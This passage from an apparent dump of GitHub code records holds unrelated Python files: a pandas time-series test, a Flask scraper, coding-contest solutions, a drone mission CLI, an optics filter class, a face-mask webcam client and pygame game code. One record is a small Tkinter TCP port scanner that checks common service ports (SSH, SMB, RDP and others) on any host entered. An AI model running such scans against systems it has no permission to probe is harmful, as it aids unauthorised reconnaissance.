0, 1],\n            [\"0\", \"1\", \"2\", \"0\", \"1\"],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=6, freq=\"15T\"),\n            \"hour\",\n            [\"2020-01-01 00\"] * 4 + [\"2020-01-01 01\"] * 2,\n            [0, 1, 2, 3, 0, 1],\n            [\"0\", \"1\", \"2\", \"3\", \"0\", \"1\"],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=26, freq=\"H\"),\n            \"day\",\n            [\"2020-01-01\"] * 24 + [\"2020-01-02\"] * 2,\n            [i % 24 for i in range(26)],\n            [str(i % 24) for i in range(26)],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=10, freq=\"D\"),\n            \"week\",\n            [\"2020-00\"] * 5 + [\"2020-01\"] * 5,\n            [2, 3, 4, 5, 6, 0, 1, 2, 3, 4],\n            [\"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\", \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"],\n        ),\n        (\n            pd.date_range(start=\"2020-01-03\", periods=40, freq=\"D\"),\n            \"month\",\n            [\"2020-Jan\"] * 29 + [\"2020-Feb\"] * 11,\n            list(range(3, 32)) + list(range(1, 12)),\n            [str(i) for i in range(3, 32)] + [str(i) for i in range(1, 12)],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=14, freq=\"M\"),\n            \"quarter\",\n            [\"2020-1\"] * 3 + [\"2020-2\"] * 3 + [\"2020-3\"] * 3 + [\"2020-4\"] * 3 + [\"2021-1\"] * 2,\n            [i % 3 for i in range(14)],\n            [str(i % 3) for i in range(14)],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=14, freq=\"M\"),\n            \"year\",\n            [\"2020\"] * 12 + [\"2021\"] * 2,\n            [i % 12 + 1 for i in range(14)],\n            [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\", \"Jan\", \"Feb\"],\n        ),\n    ],\n)\ndef test_seasonal_split(timestamp, cycle, expected_cycle_names, expected_in_cycle_nums, expected_in_cycle_names):\n    cycle_df = _seasonal_split(timestamp=timestamp.to_series(), freq=timestamp.freq.freqstr, cycle=cycle)\n    assert cycle_df[\"cycle_name\"].tolist() == expected_cycle_names\n    assert cycle_df[\"in_cycle_num\"].tolist() == expected_in_cycle_nums\n    assert cycle_df[\"in_cycle_name\"].tolist() == expected_in_cycle_names\n\n\n@pytest.mark.parametrize(\n    \"timestamp, values, resample_freq, aggregation, expected_timestamp, expected_values\",\n    [\n        (\n            pd.date_range(start=\"2020-01-01\", periods=14, freq=\"Q\"),\n            [np.NaN, np.NaN, np.NaN, np.NaN, np.NaN, 10, 16, 10, 5, 7, 5, 7, 3, 3],\n            \"Y\",\n            \"sum\",\n            pd.date_range(start=\"2020-01-01\", periods=4, freq=\"Y\"),\n            [np.NaN, 36.0, 24.0, 6.0],\n        ),\n        (\n            pd.date_range(start=\"2020-01-01\", periods=14, freq=\"Q\"),\n            [np.NaN, np.NaN, np.NaN, np.NaN, np.NaN, 10, 16, 10, 5, 7, 5, 7, 3, 3],\n            \"Y\",\n            \"mean\",\n            pd.date_range(start=\"2020-01-01\", periods=4, freq=\"Y\"),\n            [np.NaN, 12.0, 6.0, 3.0],\n        ),\n    ],\n)\ndef test_resample(timestamp, values, resample_freq, aggregation, expected_timestamp, expected_values):\n    df = pd.DataFrame({\"timestamp\": timestamp.tolist(), \"target\": values, \"segment\": len(timestamp) * [\"segment_0\"]})\n    df_wide = TSDataset.to_dataset(df)\n    df_resampled = _resample(df=df_wide, freq=resample_freq, aggregation=aggregation)\n    assert df_resampled.index.tolist() == expected_timestamp.tolist()\n    assert (\n        df_resampled.loc[:, pd.IndexSlice[\"segment_0\", \"target\"]]\n        .reset_index(drop=True)\n        .equals(pd.Series(expected_values))\n    )\n","repo_name":"tinkoff-ai/etna","sub_path":"tests/test_analysis/test_decomposition/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":796,"dataset":"github-code","pt":"60"}
+{"seq_id":"71279606272","text":"import requests\nfrom bs4 import BeautifulSoup\n\nfrom flask import Flask, render_template\n\napp =Flask(__name__)\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n@app.route('/detikpopuler')\ndef detik_populer():\n    html_doc = requests.get('https://www.detik.com/terpopuler')\n\n    soup = BeautifulSoup(html_doc.text, 'html.parser')\n\n    populer_area = soup.find(attrs={'class': 'nhl indeks mgb-24'})\n\n    titles = populer_area.findAll(attrs={'class': 'media__title'})\n\n    image = populer_area.findAll(attrs={'class': 'media__image'})\n\n    return render_template('index.html', images = image)\n\n\n@app.route('/idr rates')\ndef idr_rates():\n    source  =   requests.get('http://www.floatrates.com/daily/idr.json')\n    jason_data = source.json()\n    return render_template('idr-rates.html', datas=jason_data)\n\n\n\nif __name__=='__main__':\n    app.run(debug=True)","repo_name":"Ardianwi/Python-Mastery","sub_path":"Scrape/Scrapecurrency/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40196418683","text":"def is_ok(n, a, b):\n    if a > b:\n        print(0)\n        return False\n    elif a == b:\n        print(1)\n        return False\n    elif n == 1 and a != b:\n        print(0)\n        return False\n    else:\n        return True\n    \ndef main():\n    N, A, B = map(int, input().split())\n    if not is_ok(N, A, B):\n        return 0\n    print((N-2) * (B-A) + 1)\n    return 0\n\nmain()","repo_name":"kyug3/my-atcoder","sub_path":"AGC/AGC015/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13797952973","text":"class Solution:\n    def findNumbers(self, nums: List[int]) -> int:\n        \n        # # -----x-----x-----\n        # # Solution 1 - One pass\n        # # n=len(nums), k=worst-case number in nums\n        # # Time complexity = O(n*log10(k))\n        # # Space complexity = O(1)\n        \n        # count = 0\n        \n        # for n in nums:\n        #     digits = 0\n        #     while n:\n        #         n //= 10\n        #         digits +=1\n                \n            # if digits%2 == 0:\n            #     count += 1\n                \n        # return count\n        # # -----x-----x-----\n\n        # # -----x-----x-----\n        # # Solution 2 - One pass\n        # # n=len(nums), k=worst-case number in nums\n        # # Time complexity = O(n*log10(k))\n        # # Space complexity = O(1)\n        \n        count = 0\n        \n        for n in nums:\n            if len(str(n))%2 == 0:\n                count += 1\n                \n        return count\n        # # -----x-----x-----\n    ","repo_name":"adivc21/Leetcode","sub_path":"1295_Find_Numbers_with_Even_Number_of_Digits.py","file_name":"1295_Find_Numbers_with_Even_Number_of_Digits.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28297373243","text":"#prepare a list of any items in it, print only numbers gr8er than 6\nlist = [];\nwhile(1):\n    print(\"Enter value into list n press c to stop adding\");\n    try:\n        x = input();\n        list.append(int(x));\n    except:\n        if (x=='c'):\n            break;\nprint(\"The items in List are\",list);\nprint(\"The Items gr8er than 6 are\");\nfor y in list:\n    if(y > 6):\n        print(y);\n    else:\n        continue;\n\n","repo_name":"hrithikm007/Python_H007","sub_path":"Older/list_print_gr8er_den_6.py","file_name":"list_print_gr8er_den_6.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12750932341","text":"#!/usr/bin/env python3\n\nimport sys\nimport threading\nfrom MAVLinkDriver import uav_connect, get_mission_item, heartbeat_handler, set_px4_mission\n\nDEFAULT_MISSION = \"mission.txt\"\n# DEFAULT_CONNECTION = \"udp:127.0.0.1:14540\"\nDEFAULT_CONNECTION = \"serial:/dev/ttyACM0\"\nDEFAULT_BAUDRATE = 57600\n\nMASTER = None\nSTATUS = [0]\nEVENT_KILL_HANDLER = threading.Event()\n\n\ndef read_mission_from_file(filename):\n    items = []\n\n    file = open(filename, 'r')\n    text = file.read()\n    for i, line in enumerate(text.split(\"\\n\")):\n        if i == 0:\n            continue\n        elif line == \"\":\n            break\n\n        tokens = line.split(\"\\t\", 12)\n        system = None\n        component = None\n        if MASTER is not None:\n            system = MASTER.target_system\n            component = MASTER.target_component\n\n        items.append(get_mission_item(system, component, tokens))\n\n    file.close()\n    return items\n\n\ndef do_send(*args):\n    data = args[0]\n    if not data:\n        mission_file = DEFAULT_MISSION\n    else:\n        mission_file = data[0]\n\n    if MASTER is None:\n        print(\"[Error] Establish connection first.\", file=sys.stderr)\n    items = read_mission_from_file(mission_file)\n    result = set_px4_mission(MASTER, items)\n    if result == 0:\n        print(\"Mission sent correctly.\")\n    else:\n        print(\"[Error] Mission sending failed.\", file=sys.stderr)\n\n\ndef do_show(*args):\n    data = args[0]\n    if not data:\n        mission_file = DEFAULT_MISSION\n    else:\n        mission_file = data[0]\n\n    items = read_mission_from_file(mission_file)\n    for item in items:\n        print(item)\n\n\ndef do_connect(*args):\n    data = args[0]\n    if not data:\n        connection = DEFAULT_CONNECTION\n        baudrate = DEFAULT_BAUDRATE\n    elif len(data) == 1:\n        connection = data[0]\n        baudrate = DEFAULT_BAUDRATE\n    elif len(data) > 1:\n        connection = data[0]\n        baudrate = data[1]\n\n    type_con = connection.split(\":\")[0]\n    if type_con == \"serial\":\n        connection = connection.split(\":\")[-1]\n\n    master = uav_connect(connection, baudrate)\n    if master is not None:\n        handler = threading.Thread(target=heartbeat_handler, args=(\n            master, STATUS, EVENT_KILL_HANDLER), name='heartbeat_handler')\n        handler.start()\n\n        global MASTER\n        MASTER = master\n\n\ndef do_help(*args):\n    data = args[0]\n    if not data:\n        print(\"Command Ground Control, version 1.0.0\")\n        print(\"Commands are defined internally. Type help' to si this list.\")\n        print(\"Type 'help cmd' to know more about the command 'cmd'.\")\n        print(\"Type 'help cgc' to know more about Command Ground Control in general.\")\n        print(\"\")\n        print(\"connect [connection] [baudrate]\")\n        print(\"help [cmd]\")\n        print(\"send [filename]\")\n        print(\"show [filename]\")\n    elif data[0] == \"cgc\":\n        print(\"Command Ground Control, version 1.0.0\")\n        print(\"Author: Pedro Arias Perez\")\n        print(\"\")\n        print(\"Description: WORK IN PROGRESS\")\n    elif data[0] == \"connect\":\n        print(\"connect: connect [connection] [baudrate]\")\n        print(\"WORK IN PROGRESS\")\n    elif data[0] == \"help\":\n        print(\"help: help [cmd]\")\n        print(\"WORK IN PROGRESS\")\n    elif data[0] == \"send\":\n        print(\"send: send [filename]\")\n        print(\"WORK IN PROGRESS\")\n    elif data[0] == \"show\":\n        print(\"show: show [filename]\")\n        print(\"WORK IN PROGRESS\")\n    else:\n        print(\"[Error] Invalid command. Please type 'help' to see available commands.\", file=sys.stderr)\n\n\ndef process_line(s):\n    tokens = s.split(\" \")\n    if tokens[0] == \"help\":\n        do_help(tokens[1:])\n    elif tokens[0] == \"connect\":\n        do_connect(tokens[1:])\n    elif tokens[0] == \"show\":\n        do_show(tokens[1:])\n    elif tokens[0] == \"send\":\n        do_send(tokens[1:])\n    elif tokens[0] == \"\":\n        pass\n    else:\n        print(\"[Error] Invalid command. Please type 'help' to see available commands.\", file=sys.stderr)\n\n\ndef main():\n    while True:\n        try:\n            s = input(\"> \")\n        except EOFError:\n            break\n        process_line(s)\n\n    EVENT_KILL_HANDLER.set()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"pariaspe/cgc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74317143551","text":"import numpy as np\nimport sys\nimport json\nimport pandas as pd\nfrom collections import defaultdict\n\n\ndef depth(kmer):\n    \"\"\"\n    Compute depth of kmer.\n    Depth of kmer is len(kmer1)/2 + 1.\n    For example:\n         Depth (A) = 1\n         Depth (TAT) = 3/2 + 1 = 2\n         Depth (GTATG) = 5/2 + 1 = 3...\n    \"\"\"\n    return int(len(kmer)/2 + 1)\n\n\ndef compute_distance_between_kmers(kmer1, kmer2, mc_tree):\n    \"\"\"\n    Naive Algorithm to find the Least Common Ancestor:\n    Algorithm 1:\n    Data: 1. Depth of kmer1 and kmer2\n          2. Parent of each kmer.\n          This information is already stored in the state dictionary.\n\n    Algorithm:\n    while depth(kmer1) != depth(kmer2):\n        if depth(kmer1) > depth(kmer2):\n            kmer2 <- parent(kmer2)\n        elif depth(kmer2) > depth(kmer1):\n            kmer1 <- parent(kmer1)\n    # at this point, the depths of \"kmer1\" and \"kmer2\" should be the same.\n\n    while kmer1 != kmer2:\n        kmer1 <- parent(kmer1)\n        kmer2 <- parent(kmer2)\n    LCA <- kmer1\n    return LCA\n\n    Algorithm 2:\n    Data: kmer1, kmer2 and LCA\n    Distance(kmer1, kmer2) = Distance (kmer1, LCA) + Distance(kmer2, LCA)\n\n    Parameters:\n        kmer1 (str): kmer1\n        kmer2 (str): kmer2\n        mc_tree (dict) : mc_tree\n\n    Returns:\n        Distance(kmer1, kmer2)\n    \"\"\"\n    node1 = kmer1\n    node2 = kmer2\n\n    while depth(node1) != depth(node2):\n        if depth(node1) > depth(node2):\n            node1 = mc_tree[node1]['parent']\n        elif depth(node2) > depth(node1):\n            node2 = mc_tree[node2]['parent']\n\n    assert depth(node1) == depth(node2)\n\n    while node1 != node2:\n        node1 = mc_tree[node1]['parent']\n        node2 = mc_tree[node2]['parent']\n\n    assert node1 == node2\n    lca = node1\n    distance_between_nodes = (depth(kmer1) - depth(lca)) + (depth(kmer2) - depth(lca))\n    return distance_between_nodes\n\n\ndef compute_distance_matrix():\n    pass\n\n\ndef main():\n    tree_dictionary_fp = sys.argv[1]\n    top_kmers_outfile = sys.argv[2]\n\n    top_kmers = pd.read_csv(top_kmers_outfile, sep='\\t',\n                            header=0)\n\n    with open(tree_dictionary_fp) as json_file:\n        data_dictionary = json.load(json_file)\n\n    # print(top_kmers)\n    # top_kmers is a pandas DataFrame:\n    #            Kmer  Score\n    # 0   ACAAATGTAAA   0.75\n    # 1   ATGTGTCATTA   0.75\n    # 2   ATTGTTTACAA   0.73\n    # 3   ATTCATTTGTG   0.73\n    # print(data_dictionary)\n\n    compute_distance_between_kmers('CATGAG', 'ACAAATGAGTC',\n                                   mc_tree=data_dictionary)\n\n    # To do:\n    # compute the tree-based distance matrix & perform hierarchical clustering.\n    # use the levenstein distance to perform hierarchical clustering.\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"DivyanshiSrivastava/MonteCarlo-TF","sub_path":"find_subtree.py","file_name":"find_subtree.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4040007640","text":"import numpy\n\n\nfrom syned.beamline.optical_elements.absorbers.filter import Filter\nfrom wofrysrw.beamline.optical_elements.absorbers.srw_transmission import SRWTransmission\nfrom wofrysrw.util.srw_absorption import get_transmission_amplitudes, get_transmission_optical_path_difference, add_thickness_error_to_thickness_profile\n\nclass SRWFilter(Filter, SRWTransmission):\n    def __init__(self,\n                 name=\"Undefined\",\n                 material=\"Be\",\n                 thickness=1e-3,\n                 attenuation_length=1.0,\n                 delta=1e-6,\n                 x_range=[-1e-3, 1e-3],\n                 y_range=[-1e-3, 1e-3],\n                 n_points_x=100,\n                 n_points_y=100,\n                 energy=15000,\n                 thickness_error_profile_file=None,\n                 scaling_factor=1.0):\n        Filter.__init__(self, name=name, material=material, thickness=thickness)\n\n        thickness_profile = numpy.ones((n_points_x, n_points_y))*self.get_thickness()\n\n        if not thickness_error_profile_file is None: add_thickness_error_to_thickness_profile(thickness_profile,\n                                                                                              thickness_error_profile_file,\n                                                                                              scaling_factor,\n                                                                                              x_range,\n                                                                                              y_range,\n                                                                                              n_points_x,\n                                                                                              n_points_y)\n\n        SRWTransmission.__init__(self,\n                                 x_range=x_range,\n                                 y_range=y_range,\n                                 transmission_amplitudes=get_transmission_amplitudes(thickness_profile, attenuation_length),\n                                 transmission_optical_path_difference=get_transmission_optical_path_difference(thickness_profile, delta),\n                                 energy=energy)\n\n\n\n","repo_name":"oasys-kit/wofrysrw","sub_path":"wofrysrw/beamline/optical_elements/absorbers/srw_filter.py","file_name":"srw_filter.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3980190200","text":"from imutils.video import VideoStream\nimport numpy as np\nimport imutils\nimport time\nimport json\nimport cv2\nimport os\n\n# from score import init_predictor, predict\nimport requests\n\nprint(\"[INFO] starting video stream...\")\nvs = VideoStream().start()\ntime.sleep(2.0)\n# init_predictor()\nwhile True:\n\tframe = vs.read()\n\tframe = imutils.resize(frame, width=400)\n\n\tcols, rows, _ = frame.shape\n\tbrightness = np.sum(frame) / (255 * cols * rows)\n\tratio = brightness / 1.0\n\tif ratio < 1.0:\n\t\tframe = cv2.convertScaleAbs(frame, alpha = 1 / ratio, beta = 50)\n\t\n\tframe_data = frame\n\tframe_data = np.array(frame)\n\tframe_data = json.dumps({'data': frame_data.tolist()})\n\t# mask_results = json.loads(predict(frame_data))\n\tmask_results = json.loads(requests.post('http://localhost:5000/predict',json = frame_data).text)\n\tlocs = mask_results[\"locs\"]\n\tpreds = mask_results[\"predictions\"]\n\n\t# (locs, preds) = predict(frame_data)\n\t\n\tfor (box, pred) in zip(locs, preds):\n\t\t(startX, startY, endX, endY) = box\n\t\t(mask, withoutMask) = pred\n\n\t\tlabel = \"Mask\" if mask > withoutMask else \"No Mask\"\n\t\tcolor = (0, 255, 0) if label == \"Mask\" else (0, 0, 255)\n\t\tlabel = \"{}: {:.2f}%\".format(label, max(mask, withoutMask) * 100)\n\t\tcv2.putText(frame, label, (startX, startY - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.50, color, 2)\n\t\tcv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\n\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord(\"q\"):\n\t\tbreak\n\ncv2.destroyAllWindows()\nvs.stop()","repo_name":"saahil-jain/Microsoft_Vision","sub_path":"face_mask_detection/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70133977793","text":"\"\"\" TCP/IP PORT LİSTESİ:\nFTP:21\nSSH:22\nTELNET:23\nSMTP:25\nHTTP:80\nNETBIOS:139\nHTTPS:443\nSMB:445\nRDB:3389\n\"\"\"\n\nfrom tkinter import*\nimport socket\n\n\ndef tarama():\n    s1=str(enturl.get())\n    liste=[21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, \n    445, 587, 993, 1433, 3306, 3389, 5900, 8080]\n    try:\n        for port in liste:\n            sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n            result=sock.connect_ex((s1,port))\n            if result==0:\n                listsonuc.insert(1,\"Port{} açık\".format(port))\n            else:\n                listsonuc.insert(1,\"Port{} kapalı\".format(port))\n        sock.close()\n    except socket.error:\n        print(\"Bilgisayara ulaşılamadı\")\n\npen=Tk()\npen.geometry(\"330x500\")\npen.title(\"Açık port tarama\")\npen.resizable(FALSE,FALSE)\n\nlblurl=Label(pen,text=\"URL veya IP ADRESİ\",font=\"Verdana 12 bold\",fg=\"white\",bg=\"black\")\nlblurl.place(x=60,y=20)\nlistsonuc=Listbox(pen,font=\"Verdana 12 bold\",width=25,height=17,fg=\"white\",bg=\"black\")\nlistsonuc.place(x=27,y=140)\nenturl=Entry(pen,font=\"Verdana 12 bold\",fg=\"blue\")\nenturl.place(x=50,y=50)\nbtntara=Button(pen,text=\"Taramayi Başlat\",font=\"Verdana 12 bold\",fg=\"white\",bg=\"black\",command=tarama)\nbtntara.place(x=80,y=90)\n            \n                \n            \n\n\npen.mainloop()","repo_name":"1omerozturk/ipandportscanning","sub_path":"portscaning.py","file_name":"portscaning.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19103152148","text":"import abc\r\nimport math\r\n\r\nimport numpy as np\r\nimport pygame\r\nimport random\r\n\r\nimport sprites\r\nfrom . import items\r\nfrom .base import BaseObject\r\nfrom .items import Inventory, BlackMonster, WhiteMonster, DiamondSword, Consumable\r\n\r\nfrom pathlib import Path\r\n\r\ngame_folder = Path(__file__).parent.parent\r\nimg_folder = game_folder / 'img'\r\n\r\nDir = {\r\n    sprites.CharacterState.IDLE: np.array([0, 0]),\r\n    sprites.CharacterState.UP: np.array([0, -1]),\r\n    sprites.CharacterState.LEFT: np.array([-1, 0]),\r\n    sprites.CharacterState.DOWN: np.array([0, 1]),\r\n    sprites.CharacterState.RIGHT: np.array([1, 0]),\r\n}\r\n\r\n\r\nclass AP(pygame.sprite.Sprite):\r\n    def __init__(self, value, max, owner, transparent=True):\r\n        super().__init__()\r\n        self.max = max\r\n        self.value = value\r\n        self.owner = owner\r\n        self.transparent = transparent\r\n        self.draw_ap()\r\n\r\n    def reset_ap(self, new_ap):\r\n        if new_ap <= self.max:\r\n            self.value = new_ap\r\n        self.draw_ap()\r\n\r\n    def draw_ap(self):\r\n        if not self.transparent:\r\n            digit1 = self.value % 10 if self.value < 10 else self.value // 10\r\n            digit2 = None if self.value < 10 else self.value % 10\r\n            pic1 = sprites.img_folder / (f\"number{digit1}.png\" if digit1 is not None else \"player1.png\")\r\n            pic2 = sprites.img_folder / (f\"number{digit2}.png\" if digit2 is not None else \"player1.png\")\r\n            self.image1 = pygame.image.load(pic1).convert()\r\n            self.image2 = pygame.image.load(pic2).convert()\r\n            self.image1.set_colorkey((0, 0, 0))\r\n            self.image2.set_colorkey((0, 0, 0))\r\n            if digit2 is None:\r\n                self.image2.set_alpha(0)\r\n            else:\r\n                self.image2.set_alpha(255)\r\n            self.rect1 = self.image1.get_rect()\r\n            self.rect1.topleft = (25, 25)\r\n            self.rect2 = self.image2.get_rect()\r\n            self.rect2.topleft = (75, 25)\r\n            self.surf1 = pygame.Surface((50, 50))\r\n            self.surf2 = pygame.Surface((50, 50))\r\n            self.owner.game.screen.blit(self.image1, self.rect1)\r\n            self.owner.game.screen.blit(self.image2, self.rect2)\r\n\r\n\r\nclass HP(pygame.sprite.Sprite):\r\n    def __init__(self, value, max, owner, transparent=True):\r\n        super().__init__()\r\n        self.max = max\r\n        self.value = value\r\n        self.owner = owner\r\n        self.transparent = transparent\r\n        self.draw_hp()\r\n\r\n    def draw_hp(self):\r\n        if not self.transparent:\r\n            digit1 = self.value % 10 if self.value < 10 else self.value // 10\r\n            digit2 = None if self.value < 10 else self.value % 10\r\n            pic1 = sprites.img_folder / (f\"hp{digit1}.png\" if digit1 is not None else \"player1.png\")\r\n            pic2 = sprites.img_folder / (f\"hp{digit2}.png\" if digit2 is not None else \"player1.png\")\r\n            self.image1 = pygame.image.load(pic1).convert()\r\n            self.image2 = pygame.image.load(pic2).convert()\r\n            self.image1.set_colorkey((0, 0, 0))\r\n            self.image2.set_colorkey((0, 0, 0))\r\n            if digit2 is None:\r\n                self.image2.set_alpha(0)\r\n            else:\r\n                self.image2.set_alpha(255)\r\n            self.rect1 = self.image1.get_rect()\r\n            self.rect1.topleft = (25 + 17 * 50, 25)\r\n            self.rect2 = self.image2.get_rect()\r\n            self.rect2.topleft = (25 + 18 * 50, 25)\r\n            self.surf1 = pygame.Surface((50, 50))\r\n            self.surf2 = pygame.Surface((50, 50))\r\n            self.owner.game.screen.blit(self.image1, self.rect1)\r\n            self.owner.game.screen.blit(self.image2, self.rect2)\r\n\r\n    def reset_hp(self, new_ap):\r\n        if new_ap <= self.max:\r\n            self.value = new_ap\r\n        self.draw_hp()\r\n\r\n\r\nclass DamageSprite(pygame.sprite.Sprite):\r\n    def __init__(self, value, ttl, owner):\r\n        super().__init__()\r\n        self.value = value\r\n        self.owner = owner\r\n        self.max_ttl = ttl\r\n        self.ttl = 0\r\n\r\n    def reset_ttl(self):\r\n        self.ttl = self.max_ttl\r\n\r\n    def show_once(self):\r\n        digit1 = self.value % 10 if self.value < 10 else self.value // 10\r\n        digit2 = None if self.value < 10 else self.value % 10\r\n        pic1 = sprites.img_folder / (f\"enemyhp{digit1}.png\" if digit1 is not None else \"enemyhp0.png\")\r\n        pic2 = sprites.img_folder / (f\"enemyhp{digit2}.png\" if digit2 is not None else \"enemyhp0.png\")\r\n        self.image1 = pygame.image.load(pic1).convert()\r\n        self.image2 = pygame.image.load(pic2).convert()\r\n        self.image1.set_colorkey((0, 0, 0))\r\n        self.image2.set_colorkey((0, 0, 0))\r\n        if digit2 is None:\r\n            self.image2.set_alpha(0)\r\n        else:\r\n            self.image2.set_alpha(255)\r\n        self.rect1 = self.image1.get_rect()\r\n        self.rect1.topleft = (self.owner.rect.x, self.owner.rect.y - 30)\r\n        self.rect2 = self.image2.get_rect()\r\n        self.rect2.topleft = (self.owner.rect.x + 25, self.owner.rect.y - 30)\r\n        self.surf1 = pygame.Surface((50, 50))\r\n        self.surf2 = pygame.Surface((50, 50))\r\n\r\n        if self.ttl > 0:\r\n            self.ttl -= 1\r\n        if self.ttl == 0:\r\n            self.image1.set_alpha(0)\r\n            self.image2.set_alpha(0)\r\n\r\n        self.owner.game.screen.blit(self.image1, self.rect1)\r\n        self.owner.game.screen.blit(self.image2, self.rect2)\r\n\r\n\r\nclass Character(BaseObject):\r\n    ANIMATION = 10\r\n\r\n    def __init__(self, x, y, game, ap_transparency=True):\r\n        self.is_active = False\r\n        self.pos = np.array([x, y])\r\n        self.game = game\r\n\r\n        self.region = self.game.getregion(self.pos)\r\n        self.next_region = self.game.getregion(self.pos)\r\n\r\n        self.ap = AP(10, 10, self, ap_transparency)\r\n        self.hp = HP(50, 50, self, ap_transparency)\r\n        self.damage = DamageSprite(0, 5, self)\r\n\r\n        self.state = sprites.CharacterState.IDLE\r\n        self.moves_count = 0\r\n\r\n        self.inventory = Inventory(max_slots=5)\r\n\r\n    def update(self):\r\n        if self.is_active:\r\n            if self.moves_count > 0:\r\n                self.moves_count -= 1\r\n                self.image = self.get_image()\r\n            elif self.moves_count == 0:\r\n                self.reset_ap()\r\n                next_action = self.get_next_action()\r\n                next_object = self.game.get_nearby_object(self, next_action)\r\n                if self.ap.value != 0:\r\n                    self.interact(next_object)\r\n                else:\r\n                    self.state = sprites.CharacterState.IDLE\r\n            else:\r\n                assert False, \"moves_count < 0\"\r\n        else:\r\n            self.state = sprites.CharacterState.IDLE\r\n        self.damage.show_once()\r\n        self.ap.draw_ap()\r\n        self.hp.draw_hp()\r\n        super().update()\r\n\r\n    def interact(self, other: \"BaseObject\"):\r\n        if isinstance(other, sprites.EnemySprite)\\\r\n                or isinstance(other, Player):\r\n            self.attack_enemy(other)\r\n            self.state = sprites.CharacterState.IDLE\r\n            self.moves_count = self.ANIMATION - 1\r\n        elif not isinstance(other, sprites.Floor):\r\n            self.state = sprites.CharacterState.IDLE\r\n            if isinstance(self, Enemy):\r\n                self.moves_count = self.ANIMATION - 1\r\n            else:\r\n                self.moves_count = 0\r\n        elif self.state != sprites.CharacterState.IDLE:\r\n            self.moves_count = self.ANIMATION - 1\r\n            self.region = self.game.getregion(self.pos)\r\n            self.pos += Dir[self.state]\r\n            self.next_region = self.game.getregion(self.pos)\r\n\r\n    def attack_enemy(self, enemy):\r\n        active_item = self.inventory.active_item\r\n        if isinstance(active_item, items.Weapon) and self.ap.value >= active_item.ap:\r\n            distance = math.hypot(self.rect.centerx - enemy.rect.centerx, self.rect.centery - enemy.rect.centery) / 50\r\n            if distance <= active_item.range:\r\n                # print(f\"{self} attacked {enemy} with {active_item.name}\")\r\n                # print(f\"this consumed {active_item.ap} APs\")\r\n                self.ap.reset_ap(self.ap.value - active_item.ap)\r\n                enemy.take_damage(active_item.damage)\r\n\r\n    def take_damage(self, damage):\r\n        self.show_damage(damage)\r\n        if damage > self.hp.value:\r\n            self.kill()\r\n        else:\r\n            self.hp.reset_hp(self.hp.value - damage)\r\n\r\n        # print(f\"shit, got {damage} HP hit\")\r\n\r\n    def show_damage(self, damage):\r\n        self.damage.value = damage\r\n        self.damage.reset_ttl()\r\n\r\n\r\nclass Enemy(Character, sprites.EnemySprite):\r\n    def __init__(self, x, y, game):\r\n        sprites.EnemySprite.__init__(self, x, y, game)\r\n        Character.__init__(self, x, y, game)\r\n        # self.state = sprites.CharacterState.LEFT\r\n\r\n    def get_next_action(self):\r\n        x, y = (self.game.player.pos - self.pos)\r\n        if abs(x) < abs(y):\r\n            if y < 0:\r\n                self.state = sprites.CharacterState.UP\r\n            else:\r\n                self.state = sprites.CharacterState.DOWN\r\n        else:\r\n            if x < 0:\r\n                self.state = sprites.CharacterState.LEFT\r\n            else:\r\n                self.state = sprites.CharacterState.RIGHT\r\n        return self.state\r\n\r\n    def reset_ap(self):\r\n        self.ap.reset_ap(self.ap.value - 1)\r\n        # print(f\"enemy AP: {self.ap.value}\")\r\n\r\n    def get_damage(self):\r\n        return random.randint(5, 15)\r\n\r\n    def attack_enemy(self, enemy):\r\n        damage = self.get_damage()\r\n        # print(f\"{self} attacked {enemy}\")\r\n        # print(f\"this consumed 1 APs\")\r\n        self.ap.reset_ap(self.ap.value - 1)\r\n        enemy.take_damage(damage)\r\n\r\n\r\nclass Player(Character, sprites.Player):\r\n    ANIMATION = 10\r\n\r\n    def __init__(self, game):\r\n        Character.__init__(self, 1, 1, game, ap_transparency=False)\r\n        sprites.Player.__init__(self, game)\r\n\r\n        